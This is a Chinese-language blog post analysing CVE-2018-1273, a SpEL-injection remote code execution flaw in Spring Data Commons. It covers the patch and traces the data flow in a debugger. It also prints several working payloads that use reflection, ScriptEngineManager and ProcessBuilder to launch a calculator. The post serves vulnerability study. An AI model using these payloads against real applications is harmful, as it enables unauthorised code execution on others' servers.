一隅

手握三尺青锋,平尽天下不平事

CVE-2018-1273: RCE with Spring Data Commons

cve-2018-1273

补丁分析

https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653


这里和CVE-2018-1270的修复方案类似,StandardEvaluationContext替换为SimpleEvaluationContext,又看到Expression expression = PARSER.parseExpression(propertyName);,基本可以确定是SpEL注入了

代码分析(下游)

从git上下载源码https://github.com/spring-projects/spring-data-examples

根据patch的提示设置断点看一下数据流向

传入的值是username

看到setValue,确定是SpEL注入
继续往下走,会发现username、password、repeatedPassword三个字段都会经过这几步

既然这样,尝试修改字段名称来执行命令[T(java.lang.Runtime).getRuntime().exec('open -a calculator.app'),测试下,确实可以把完整的命令传进去

[]是嵌套属性的写法,在[]中间可以写入表达式

继续走到setValue处,expression存储的值就是传进来的完整的字段

但是发现命令并没有执行,原因如下

POC利用

水平太菜,参考了一下网上的payload,利用java的反射机制绕过

[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("open -a calculator.app")]

[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('open -a calculator.app')")]

[(#root.getClass().forName("java.lang.ProcessBuilder").getConstructor('foo'.split('').getClass()).newInstance('openxx-axxcalculator.app'.split('xx'))).start()]

代码分析(上游)

太绕了,有点晕

参考:
http://blog.nsfocus.net/cve-2018-1273-analysis/
https://pivotal.io/security/cve-2018-1273
https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653
https://xz.aliyun.com/t/2269

Categories:  Web  Java 

« CVE-2018-2628 Spring Expression Language(SpEL) »